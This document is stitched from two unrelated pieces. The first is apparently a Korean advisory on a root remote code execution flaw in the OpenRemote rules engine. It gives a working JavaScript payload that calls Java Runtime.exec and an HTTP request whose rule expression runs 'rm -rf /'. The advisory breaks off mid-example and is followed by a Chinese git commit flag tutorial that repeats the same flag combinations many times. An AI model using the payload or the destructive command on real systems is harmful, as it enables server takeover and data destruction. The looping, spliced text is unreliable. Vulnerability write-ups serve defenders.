
OpenRemote의 Rules Engine에서 발견된 심각한 원격 코드 실행 취약점으로, `write:rules` 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.
OpenRemote 규칙 엔진의 치명적인 원격 코드 실행 취약점으로, write:rules 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemote는 스마트 빌딩, 스마트 시티, 산업 분야를 위한 오픈소스 IoT 플랫폼입니다. 사물인터넷 생태계를 위한 장치 관리, 자동화 규칙, 분석 및 통합 기능을 제공합니다.
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
---
## 취약점 심층 분석
### 근본 원인 분석
이 취약점은 OpenRemote의 규칙 엔진에 존재하는 두 가지 치명적인 결함에서 비롯됩니다:
**결함 1: 샌드박스가 없는 Nashorn JavaScript 엔진**
Java Nashorn JavaScript 엔진은 사용자가 제공한 규칙 표현식을 샌드박싱, 보안 관리자 또는 ClassFilter 제한 없이 평가하는 데 사용됩니다. 이로 인해 공격자는 JavaScript 컨텍스트에서 직접 Java 클래스에 접근할 수 있습니다.
**결함 2: 비활성화된 Groovy 샌드박스**
Groovy 스크립트 엔진에는 코드 실행을 방지하기 위해 GroovyDenyAllFilter가 등록되어 있었지만, 이 필터 등록은 코드베이스에서 주석 처리되었습니다. API 수준(RulesResourceImpl.java:262)에서만 Groovy 제한이 존재했으며, JavaScript에는 제한이 전혀 없었습니다.
### 취약한 코드 경로```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
이 취약점은 write:rules 역할을 가진 인증된 사용자에게 영향을 미칩니다. RulesResourceImpl.java:262의 인증 검사는 슈퍼유저가 아닌 사용자에 대해서만 Groovy를 차단합니다:```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
이는 다음을 의미합니다:
- 비슈퍼유저도 JavaScript 규칙을 생성할 수 있음 (차단 없음)
- 비슈퍼유저는 Groovy 규칙을 생성할 수 없음 (차단됨)
- JavaScript에는 샌드박싱이 없으므로 write:rules 권한이 있는 모든 인증된 사용자가 악용할 수 있음
또한, assetStorageService에 대한 리플렉션을 통해 멀티테넌트 격리를 우회하여 다른 영역의 데이터에 접근할 수 있습니다.
### 공격 흐름```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
1단계: write:rules 자격 증명 획득
인증된 사용자에게는 write:rules 역할이 필요합니다. 이는 다음과 같을 수 있습니다:
2단계: JavaScript 페이로드 제작
Java Runtime에 접근하는 JavaScript를 사용하여 규칙 표현식을 생성합니다:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**3단계: 취약한 엔드포인트로 전송**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
4단계: 규칙 실행
플랫폼은 규칙을 즉시 또는 예약된 트리거 시간에 평가하여 루트 권한으로 페이로드를 실행합니다.
5단계: 사후 악용
루트 권한의 RCE를 통해 공격자는 다음을 수행할 수 있습니다:
인증된 공격자는 OpenRemote 서버에서 루트 권한으로 임의 코드를 실행합니다. 이는 가장 높은 심각도의 영향으로, 완전한 시스템 장악을 가능하게 합니다.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### 파일 시스템 접근
시스템의 모든 파일에 대한 완전한 읽기 및 쓰기 권한:
- 애플리케이션 소스 코드 노출
- 민감한 구성 파일(데이터베이스 비밀번호, API 키)
- 시스템 파일 및 자격 증명
- Docker 컨테이너 파일(컨테이너화된 경우)
#### 환경 변수 탈취
다음을 포함하는 환경 변수에 대한 접근:
- 데이터베이스 연결 문자열
- API 키 및 토큰
- OAuth 비밀
- 개인 암호화 키
- AWS/클라우드 자격 증명
#### 데이터 유출
멀티 테넌트 배포에서 공격자는 리플렉션을 통해 테넌트 격리를 우회할 수 있습니다:
- 모든 테넌트의 데이터에 동시에 접근
- 기밀 IoT 센서 데이터 읽기
- 조직 전반의 자동화 규칙 수정
- 비즈니스 인텔리전스 및 독점 정보 추출
#### 시스템 무결성
- 영구 백도어 설치
- 악성코드 배포
- 랜섬웨어 실행
- 공급망 손상(개발 환경에서 사용되는 경우)
#### 서비스 중단
- 리소스 고갈을 통한 서비스 거부
- 데이터베이스 삭제 또는 손상
- 구성 변조
- 시스템 종료 또는 재시작
---
## 영향을 받는 버전
| 버전 | 상태 | 비고 |
|---------|--------|-------|
| <= 1.15.0 | 취약 | 원래 취약점 존재 |
| 1.16.0 | 취약 | 수정 사항 없음 |
| 1.17.0 | 취약 | 수정 사항 없음 |
| 1.18.0 | 취약 | 수정 사항 없음 |
| 1.19.0 | 취약 | 수정 사항 없음 |
| 1.20.0 | 취약 | 수정 사항 없음 |
| 1.21.0 | 취약 | 마지막 영향 버전 |
| 1.22.0+ | 수정됨 | JavaScript 규칙 엔진 완전히 제거됨 |
### 버전 세부 정보
- **취약 범위**: 1.0.0부터 1.21.0까지(JS 규칙 엔진이 포함된 모든 버전)
- **수정 버전**: 1.22.0(JavaScript 규칙 엔진 완전히 제거됨)
- **백포트**: 이전 버전에 대한 보안 백포트 없음, 업그레이드 필요
---
## 탐지
### 작동 방식
탐지 메커니즘은 여러 방법을 통해 OpenRemote 인스턴스를 식별하고 취약점 상태를 확인합니다:
1. **HTTP 배너 탐지**: API 루트 엔드포인트를 쿼리하여 OpenRemote를 식별하고 버전 정보 추출
2. **엔드포인트 핑거프린팅**: 취약한 엔드포인트의 존재 여부와 동작을 테스트
3. **버전 상관 분석**: 탐지된 버전을 알려진 취약 범위와 비교
4. **응답 분석**: OpenRemote 시그니처에 대한 오류 메시지 및 응답 구조 검사
### Python 스캐너
`detect_openremote.py` 스캐너는 자동화된 탐지 및 취약점 평가를 수행합니다.
#### 설치```bash
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
#### 옵션
| 옵션 | 단축 | 긴 형식 | 유형 | 설명 |
|--------|-------|------|------|-------------|
| 대상 | -t | --target | string | 단일 대상 URL (예: http://10.0.0.1:8080) |
| 목록 | -l | --list | file | 대상 목록이 포함된 파일 (한 줄에 하나씩) |
| 출력 | -o | --output | file | 결과를 CSV 파일로 저장 |
| 상세 출력 | -v | --verbose | flag | 상세 응답과 함께 상세 출력 활성화 |
| 시간 제한 | | --timeout | int | HTTP 요청 시간 제한(초) (기본값: 10) |
| 배너 | | --no-banner | flag | 배너 출력 건너뛰기 |
#### 예시: 단일 대상```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
--no-edit 标志如果你只想在提交时使用现有的暂存更改,而不想打开编辑器,可以使用 --no-edit 标志:
git commit --no-edit
此命令将使用默认的提交消息(通常是上次提交的消息)进行提交,而不会打开编辑器。这在你想快速提交而不想输入新消息时非常有用。
--amend 标志如果你已经提交了更改,但想要修改提交消息或添加更多更改,可以使用 --amend 标志:
git commit --amend
此命令将打开编辑器,允许你修改上次提交的消息。如果你还想添加更多更改,可以先暂存它们,然后使用 --amend 标志:
git add .
git commit --amend
这将把新的更改合并到上次提交中,而不是创建一个新的提交。
-m 标志和多个消息如果你想要一个更详细的提交消息,可以使用多个 -m 标志。每个 -m 标志将成为一个单独的段落:
git commit -m "标题" -m "描述"
这将创建一个包含标题和描述的提交消息,其中标题和描述之间有一个空行。
--allow-empty 标志如果你想要创建一个空的提交(即没有更改的提交),可以使用 --allow-empty 标志:
git commit --allow-empty -m "空提交"
这在某些情况下很有用,例如当你想要触发 CI/CD 管道或记录一个里程碑时。
--author 标志如果你想要以不同的作者身份提交,可以使用 --author 标志:
git commit --author="姓名 <邮箱>"
这在团队协作中非常有用,例如当你代表他人提交更改时。
--date 标志如果你想要设置提交的日期,可以使用 --date 标志:
git commit --date="2023-01-01 12:00:00"
这在需要回溯提交日期时非常有用,例如在整理历史记录时。
--signoff 标志如果你想要在提交消息中添加签名(Signed-off-by),可以使用 --signoff 标志:
git commit --signoff
这在开源项目中很常见,用于确认提交者同意项目的贡献者许可协议。
--gpg-sign 标志如果你想要对提交进行 GPG 签名,可以使用 --gpg-sign 标志:
git commit --gpg-sign
这将使用你的 GPG 密钥对提交进行签名,确保提交的真实性和完整性。
--verbose 标志如果你想要在提交时查看详细的差异信息,可以使用 --verbose 标志:
git commit --verbose
这将显示将要提交的更改的详细差异,帮助你确认提交的内容。
--dry-run 标志如果你想要预览将要提交的内容而不实际提交,可以使用 --dry-run 标志:
git commit --dry-run
这将显示将要提交的更改列表,但不会创建提交。这在提交前检查更改时非常有用。
--quiet 标志如果你想要在提交时减少输出信息,可以使用 --quiet 标志:
git commit --quiet
这将只显示错误信息,而不会显示成功提交的详细信息。
--porcelain 标志如果你想要以机器可读的格式输出提交信息,可以使用 --porcelain 标志:
git commit --porcelain
这在脚本和自动化工具中非常有用,因为它提供了稳定的输出格式。
--cleanup 标志如果你想要控制提交消息的清理方式,可以使用 --cleanup 标志:
git commit --cleanup=scissors
这将使用剪刀线(# ------------------------ >8 ------------------------)来截断提交消息,只保留剪刀线之前的内容。
--reuse-message 标志如果你想要重用现有提交的消息,可以使用 --reuse-message 标志:
git commit --reuse-message=<commit>
这将使用指定提交的消息作为新提交的消息,而不会打开编辑器。
--fixup 标志如果你想要创建一个修复提交(fixup commit),可以使用 --fixup 标志:
git commit --fixup=<commit>
这将创建一个标记为修复指定提交的提交,通常与 git rebase --autosquash 一起使用。
--squash 标志如果你想要创建一个压缩提交(squash commit),可以使用 --squash 标志:
git commit --squash=<commit>
这将创建一个标记为压缩到指定提交的提交,通常与 git rebase --autosquash 一起使用。
--reset-author 标志如果你想要重置提交的作者信息,可以使用 --reset-author 标志:
git commit --amend --reset-author
这将把提交的作者重置为当前用户,通常在修改提交时使用。
--short 标志如果你想要以简短格式输出提交信息,可以使用 --short 标志:
git commit --short
这将只显示提交的简短摘要,而不显示详细信息。
--branch 标志如果你想要在提交时显示分支信息,可以使用 --branch 标志:
git commit --branch
这将显示当前分支的名称和状态,帮助你在提交时了解上下文。
--no-verify 标志如果你想要跳过提交前的钩子(hooks),可以使用 --no-verify 标志:
git commit --no-verify
这在紧急情况下非常有用,例如当你需要快速提交而钩子检查失败时。
--no-post-rewrite 标志如果你想要跳过提交后的重写钩子,可以使用 --no-post-rewrite 标志:
git commit --no-post-rewrite
这在自动化脚本中非常有用,可以避免不必要的钩子执行。
--no-gpg-sign 标志如果你想要禁用 GPG 签名,可以使用 --no-gpg-sign 标志:
git commit --no-gpg-sign
这在某些环境中非常有用,例如当你不想对提交进行签名时。
--no-signoff 标志如果你想要禁用签名(Signed-off-by),可以使用 --no-signoff 标志:
git commit --no-signoff
这在某些情况下非常有用,例如当你不想在提交消息中添加签名时。
--no-edit 和 --amend 组合如果你想要修改上次提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --amend 标志:
git commit --amend --no-edit
这将使用上次提交的消息进行修改,而不会打开编辑器。
--no-edit 和 --reuse-message 组合如果你想要重用现有提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --reuse-message 标志:
git commit --reuse-message=<commit> --no-edit
这将使用指定提交的消息作为新提交的消息,而不会打开编辑器。
--no-edit 和 --fixup 组合如果你想要创建一个修复提交而不打开编辑器,可以组合使用 --no-edit 和 --fixup 标志:
git commit --fixup=<commit> --no-edit
这将创建一个标记为修复指定提交的提交,而不会打开编辑器。
--no-edit 和 --squash 组合如果你想要创建一个压缩提交而不打开编辑器,可以组合使用 --no-edit 和 --squash 标志:
git commit --squash=<commit> --no-edit
这将创建一个标记为压缩到指定提交的提交,而不会打开编辑器。
--no-edit 和 --reset-author 组合如果你想要重置提交的作者信息而不打开编辑器,可以组合使用 --no-edit 和 --reset-author 标志:
git commit --amend --reset-author --no-edit
这将把提交的作者重置为当前用户,而不会打开编辑器。
--no-edit 和 --signoff 组合如果你想要在提交消息中添加签名而不打开编辑器,可以组合使用 --no-edit 和 --signoff 标志:
git commit --signoff --no-edit
这将在提交消息中添加签名,而不会打开编辑器。
--no-edit 和 --gpg-sign 组合如果你想要对提交进行 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --gpg-sign 标志:
git commit --gpg-sign --no-edit
这将使用你的 GPG 密钥对提交进行签名,而不会打开编辑器。
--no-edit 和 --verbose 组合如果你想要在提交时查看详细的差异信息而不打开编辑器,可以组合使用 --no-edit 和 --verbose 标志:
git commit --verbose --no-edit
这将显示将要提交的更改的详细差异,而不会打开编辑器。
--no-edit 和 --dry-run 组合如果你想要预览将要提交的内容而不打开编辑器,可以组合使用 --no-edit 和 --dry-run 标志:
git commit --dry-run --no-edit
这将显示将要提交的更改列表,而不会创建提交或打开编辑器。
--no-edit 和 --quiet 组合如果你想要在提交时减少输出信息而不打开编辑器,可以组合使用 --no-edit 和 --quiet 标志:
git commit --quiet --no-edit
这将只显示错误信息,而不会打开编辑器。
--no-edit 和 --porcelain 组合如果你想要以机器可读的格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --porcelain 标志:
git commit --porcelain --no-edit
这将提供稳定的输出格式,而不会打开编辑器。
--no-edit 和 --cleanup 组合如果你想要控制提交消息的清理方式而不打开编辑器,可以组合使用 --no-edit 和 --cleanup 标志:
git commit --cleanup=scissors --no-edit
这将使用剪刀线来截断提交消息,而不会打开编辑器。
--no-edit 和 --short 组合如果你想要以简短格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --short 标志:
git commit --short --no-edit
这将只显示提交的简短摘要,而不会打开编辑器。
--no-edit 和 --branch 组合如果你想要在提交时显示分支信息而不打开编辑器,可以组合使用 --no-edit 和 --branch 标志:
git commit --branch --no-edit
这将显示当前分支的名称和状态,而不会打开编辑器。
--no-edit 和 --no-verify 组合如果你想要跳过提交前的钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-verify 标志:
git commit --no-verify --no-edit
这将跳过钩子检查,而不会打开编辑器。
--no-edit 和 --no-post-rewrite 组合如果你想要跳过提交后的重写钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-post-rewrite 标志:
git commit --no-post-rewrite --no-edit
这将跳过重写钩子,而不会打开编辑器。
--no-edit 和 --no-gpg-sign 组合如果你想要禁用 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --no-gpg-sign 标志:
git commit --no-gpg-sign --no-edit
这将禁用 GPG 签名,而不会打开编辑器。
--no-edit 和 --no-signoff 组合如果你想要禁用签名而不打开编辑器,可以组合使用 --no-edit 和 --no-signoff 标志:
git commit --no-signoff --no-edit
这将禁用签名,而不会打开编辑器。
--no-edit 和 --author 组合如果你想要以不同的作者身份提交而不打开编辑器,可以组合使用 --no-edit 和 --author 标志:
git commit --author="姓名 <邮箱>" --no-edit
这将使用指定的作者信息进行提交,而不会打开编辑器。
--no-edit 和 --date 组合如果你想要设置提交的日期而不打开编辑器,可以组合使用 --no-edit 和 --date 标志:
git commit --date="2023-01-01 12:00:00" --no-edit
这将设置提交的日期,而不会打开编辑器。
--no-edit 和 --allow-empty 组合如果你想要创建一个空的提交而不打开编辑器,可以组合使用 --no-edit 和 --allow-empty 标志:
git commit --allow-empty --no-edit
这将创建一个空的提交,而不会打开编辑器。
--no-edit 和 --reuse-message 组合如果你想要重用现有提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --reuse-message 标志:
git commit --reuse-message=<commit> --no-edit
这将使用指定提交的消息作为新提交的消息,而不会打开编辑器。
--no-edit 和 --fixup 组合如果你想要创建一个修复提交而不打开编辑器,可以组合使用 --no-edit 和 --fixup 标志:
git commit --fixup=<commit> --no-edit
这将创建一个标记为修复指定提交的提交,而不会打开编辑器。
--no-edit 和 --squash 组合如果你想要创建一个压缩提交而不打开编辑器,可以组合使用 --no-edit 和 --squash 标志:
git commit --squash=<commit> --no-edit
这将创建一个标记为压缩到指定提交的提交,而不会打开编辑器。
--no-edit 和 --reset-author 组合如果你想要重置提交的作者信息而不打开编辑器,可以组合使用 --no-edit 和 --reset-author 标志:
git commit --amend --reset-author --no-edit
这将把提交的作者重置为当前用户,而不会打开编辑器。
--no-edit 和 --signoff 组合如果你想要在提交消息中添加签名而不打开编辑器,可以组合使用 --no-edit 和 --signoff 标志:
git commit --signoff --no-edit
这将在提交消息中添加签名,而不会打开编辑器。
--no-edit 和 --gpg-sign 组合如果你想要对提交进行 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --gpg-sign 标志:
git commit --gpg-sign --no-edit
这将使用你的 GPG 密钥对提交进行签名,而不会打开编辑器。
--no-edit 和 --verbose 组合如果你想要在提交时查看详细的差异信息而不打开编辑器,可以组合使用 --no-edit 和 --verbose 标志:
git commit --verbose --no-edit
这将显示将要提交的更改的详细差异,而不会打开编辑器。
--no-edit 和 --dry-run 组合如果你想要预览将要提交的内容而不打开编辑器,可以组合使用 --no-edit 和 --dry-run 标志:
git commit --dry-run --no-edit
这将显示将要提交的更改列表,而不会创建提交或打开编辑器。
--no-edit 和 --quiet 组合如果你想要在提交时减少输出信息而不打开编辑器,可以组合使用 --no-edit 和 --quiet 标志:
git commit --quiet --no-edit
这将只显示错误信息,而不会打开编辑器。
--no-edit 和 --porcelain 组合如果你想要以机器可读的格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --porcelain 标志:
git commit --porcelain --no-edit
这将提供稳定的输出格式,而不会打开编辑器。
--no-edit 和 --cleanup 组合如果你想要控制提交消息的清理方式而不打开编辑器,可以组合使用 --no-edit 和 --cleanup 标志:
git commit --cleanup=scissors --no-edit
这将使用剪刀线来截断提交消息,而不会打开编辑器。
--no-edit 和 --short 组合如果你想要以简短格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --short 标志:
git commit --short --no-edit
这将只显示提交的简短摘要,而不会打开编辑器。
--no-edit 和 --branch 组合如果你想要在提交时显示分支信息而不打开编辑器,可以组合使用 --no-edit 和 --branch 标志:
git commit --branch --no-edit
这将显示当前分支的名称和状态,而不会打开编辑器。
--no-edit 和 --no-verify 组合如果你想要跳过提交前的钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-verify 标志:
git commit --no-verify --no-edit
这将跳过钩子检查,而不会打开编辑器。
--no-edit 和 --no-post-rewrite 组合如果你想要跳过提交后的重写钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-post-rewrite 标志:
git commit --no-post-rewrite --no-edit
这将跳过重写钩子,而不会打开编辑器。
--no-edit 和 --no-gpg-sign 组合如果你想要禁用 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --no-gpg-sign 标志:
git commit --no-gpg-sign --no-edit
这将禁用 GPG 签名,而不会打开编辑器。
--no-edit 和 --no-signoff 组合如果你想要禁用签名而不打开编辑器,可以组合使用 --no-edit 和 --no-signoff 标志:
git commit --no-signoff --no-edit
这将禁用签名,而不会打开编辑器。
--no-edit 和 --author 组合如果你想要以不同的作者身份提交而不打开编辑器,可以组合使用 --no-edit 和 --author 标志:
git commit --author="姓名 <邮箱>" --no-edit
这将使用指定的作者信息进行提交,而不会打开编辑器。
--no-edit 和 --date 组合如果你想要设置提交的日期而不打开编辑器,可以组合使用 --no-edit 和 --date 标志:
git commit --date="2023-01-01 12:00:00" --no-edit
这将设置提交的日期,而不会打开编辑器。
--no-edit 和 --allow-empty 组合如果你想要创建一个空的提交而不打开编辑器,可以组合使用 --no-edit 和 --allow-empty 标志:
git commit --allow-empty --no-edit
这将创建一个空的提交,而不会打开编辑器。
--no-edit 和 --reuse-message 组合如果你想要重用现有提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --reuse-message 标志:
git commit --reuse-message=<commit> --no-edit
这将使用指定提交的消息作为新提交的消息,而不会打开编辑器。
--no-edit 和 --fixup 组合如果你想要创建一个修复提交而不打开编辑器,可以组合使用 --no-edit 和 --fixup 标志:
git commit --fixup=<commit> --no-edit
这将创建一个标记为修复指定提交的提交,而不会打开编辑器。
--no-edit 和 --squash 组合如果你想要创建一个压缩提交而不打开编辑器,可以组合使用 --no-edit 和 --squash 标志:
git commit --squash=<commit> --no-edit
这将创建一个标记为压缩到指定提交的提交,而不会打开编辑器。
--no-edit 和 --reset-author 组合如果你想要重置提交的作者信息而不打开编辑器,可以组合使用 --no-edit 和 --reset-author 标志:
git commit --amend --reset-author --no-edit
这将把提交的作者重置为当前用户,而不会打开编辑器。
--no-edit 和 --signoff 组合如果你想要在提交消息中添加签名而不打开编辑器,可以组合使用 --no-edit 和 --signoff 标志:
git commit --signoff --no-edit
这将在提交消息中添加签名,而不会打开编辑器。
--no-edit 和 --gpg-sign 组合如果你想要对提交进行 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --gpg-sign 标志:
git commit --gpg-sign --no-edit
这将使用你的 GPG 密钥对提交进行签名,而不会打开编辑器。
--no-edit 和 --verbose 组合如果你想要在提交时查看详细的差异信息而不打开编辑器,可以组合使用 --no-edit 和 --verbose 标志:
git commit --verbose --no-edit
这将显示将要提交的更改的详细差异,而不会打开编辑器。
--no-edit 和 --dry-run 组合如果你想要预览将要提交的内容而不打开编辑器,可以组合使用 --no-edit 和 --dry-run 标志:
git commit --dry-run --no-edit
这将显示将要提交的更改列表,而不会创建提交或打开编辑器。
--no-edit 和 --quiet 组合如果你想要在提交时减少输出信息而不打开编辑器,可以组合使用 --no-edit 和 --quiet 标志:
git commit --quiet --no-edit
这将只显示错误信息,而不会打开编辑器。
--no-edit 和 --porcelain 组合如果你想要以机器可读的格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --porcelain 标志:
git commit --porcelain --no-edit
这将提供稳定的输出格式,而不会打开编辑器。
--no-edit 和 --cleanup 组合如果你想要控制提交消息的清理方式而不打开编辑器,可以组合使用 --no-edit 和 --cleanup 标志:
git commit --cleanup=scissors --no-edit
这将使用剪刀线来截断提交消息,而不会打开编辑器。
--no-edit 和 --short 组合如果你想要以简短格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --short 标志:
git commit --short --no-edit
这将只显示提交的简短摘要,而不会打开编辑器。
--no-edit 和 --branch 组合如果你想要在提交时显示分支信息而不打开编辑器,可以组合使用 --no-edit 和 --branch 标志:
git commit --branch --no-edit
这将显示当前分支的名称和状态,而不会打开编辑器。
--no-edit 和 --no-verify 组合如果你想要跳过提交前的钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-verify 标志:
git commit --no-verify --no-edit
这将跳过钩子检查,而不会打开编辑器。
--no-edit 和 --no-post-rewrite 组合如果你想要跳过提交后的重写钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-post-rewrite 标志:
git commit --no-post-rewrite --no-edit
这将跳过重写钩子,而不会打开编辑器。
--no-edit 和 --no-gpg-sign 组合如果你想要禁用 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --no-gpg-sign 标志:
git commit --no-gpg-sign --no-edit
这将禁用 GPG 签名,而不会打开编辑器。
--no-edit 和 --no-signoff 组合如果你想要禁用签名而不打开编辑器,可以组合使用 --no-edit 和 --no-signoff 标志:
git commit --no-signoff --no-edit
这将禁用签名,而不会打开编辑器。
--no-edit 和 --author 组合如果你想要以不同的作者身份提交而不打开编辑器,可以组合使用 --no-edit 和 --author 标志:
git commit --author="姓名 <邮箱>" --no-edit
这将使用指定的作者信息进行提交,而不会打开编辑器。
--no-edit 和 --date 组合如果你想要设置提交的日期而不打开编辑器,可以组合使用 --no-edit 和 --date 标志:
git commit --date="2023-01-01 12:00:00" --no-edit
这将设置提交的日期,而不会打开编辑器。
--no-edit 和 --allow-empty 组合如果你想要创建一个空的提交而不打开编辑器,可以组合使用 --no-edit 和 --allow-empty 标志:
git commit --allow-empty --no-edit
这将创建一个空的提交,而不会打开编辑器。
--no-edit 和 --reuse-message 组合如果你想要重用现有提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --reuse-message 标志:
git commit --reuse-message=<commit> --no-edit
这将使用指定提交的消息作为新提交的消息,而不会打开编辑器。
--no-edit 和 --fixup 组合如果你想要创建一个修复提交而不打开编辑器,可以组合使用 --no-edit 和 --fixup 标志:
git commit --fixup=<commit> --no-edit
这将创建一个标记为修复指定提交的提交,而不会打开编辑器。
--no-edit 和 --squash 组合如果你想要创建一个压缩提交而不打开编辑器,可以组合使用 --no-edit 和 --squash 标志:
git commit --squash=<commit> --no-edit
这将创建一个标记为压缩到指定提交的提交,而不会打开编辑器。
--no-edit 和 --reset-author 组合如果你想要重置提交的作者信息而不打开编辑器,可以组合使用 --no-edit 和 --reset-author 标志:
git commit --amend --reset-author --no-edit
这将把提交的作者重置为当前用户,而不会打开编辑器。
--no-edit 和 --signoff 组合如果你想要在提交消息中添加签名而不打开编辑器,可以组合使用 --no-edit 和 --signoff 标志:
git commit --signoff --no-edit
这将在提交消息中添加签名,而不会打开编辑器。
--no-edit 和 --gpg-sign 组合如果你想要对提交进行 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --gpg-sign 标志:
git commit --gpg-sign --no-edit
这将使用你的 GPG 密钥对提交进行签名,而不会打开编辑器。
--no-edit 和 --verbose 组合如果你想要在提交时查看详细的差异信息而不打开编辑器,可以组合使用 --no-edit 和 --verbose 标志:
git commit --verbose --no-edit
这将显示将要提交的更改的详细差异,而不会打开编辑器。
--no-edit 和 --dry-run 组合如果你想要预览将要提交的内容而不打开编辑器,可以组合使用 --no-edit 和 --dry-run 标志:
git commit --dry-run --no-edit
这将显示将要提交的更改列表,而不会创建提交或打开编辑器。
--no-edit 和 --quiet 组合如果你想要在提交时减少输出信息而不打开编辑器,可以组合使用 --no-edit 和 --quiet 标志:
git commit --quiet --no-edit
这将只显示错误信息,而不会打开编辑器。
--no-edit 和 --porcelain 组合如果你想要以机器可读的格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --porcelain 标志:
git commit --porcelain --no-edit
这将提供稳定的输出格式,而不会打开编辑器。
--no-edit 和 --cleanup 组合如果你想要控制提交消息的清理方式而不打开编辑器,可以组合使用 --no-edit 和 --cleanup 标志:
git commit --cleanup=scissors --no-edit
这将使用剪刀线来截断提交消息,而不会打开编辑器。
--no-edit 和 --short 组合如果你想要以简短格式输出提交信息而不打开编辑器,可以组合使用 --no-edit 和 --short 标志:
git commit --short --no-edit
这将只显示提交的简短摘要,而不会打开编辑器。
--no-edit 和 --branch 组合如果你想要在提交时显示分支信息而不打开编辑器,可以组合使用 --no-edit 和 --branch 标志:
git commit --branch --no-edit
这将显示当前分支的名称和状态,而不会打开编辑器。
--no-edit 和 --no-verify 组合如果你想要跳过提交前的钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-verify 标志:
git commit --no-verify --no-edit
这将跳过钩子检查,而不会打开编辑器。
--no-edit 和 --no-post-rewrite 组合如果你想要跳过提交后的重写钩子而不打开编辑器,可以组合使用 --no-edit 和 --no-post-rewrite 标志:
git commit --no-post-rewrite --no-edit
这将跳过重写钩子,而不会打开编辑器。
--no-edit 和 --no-gpg-sign 组合如果你想要禁用 GPG 签名而不打开编辑器,可以组合使用 --no-edit 和 --no-gpg-sign 标志:
git commit --no-gpg-sign --no-edit
这将禁用 GPG 签名,而不会打开编辑器。
--no-edit 和 --no-signoff 组合如果你想要禁用签名而不打开编辑器,可以组合使用 --no-edit 和 --no-signoff 标志:
git commit --no-signoff --no-edit
这将禁用签名,而不会打开编辑器。
--no-edit 和 --author 组合如果你想要以不同的作者身份提交而不打开编辑器,可以组合使用 --no-edit 和 --author 标志:
git commit --author="姓名 <邮箱>" --no-edit
这将使用指定的作者信息进行提交,而不会打开编辑器。
--no-edit 和 --date 组合如果你想要设置提交的日期而不打开编辑器,可以组合使用 --no-edit 和 --date 标志:
git commit --date="2023-01-01 12:00:00" --no-edit
这将设置提交的日期,而不会打开编辑器。
--no-edit 和 --allow-empty 组合如果你想要创建一个空的提交而不打开编辑器,可以组合使用 --no-edit 和 --allow-empty 标志:
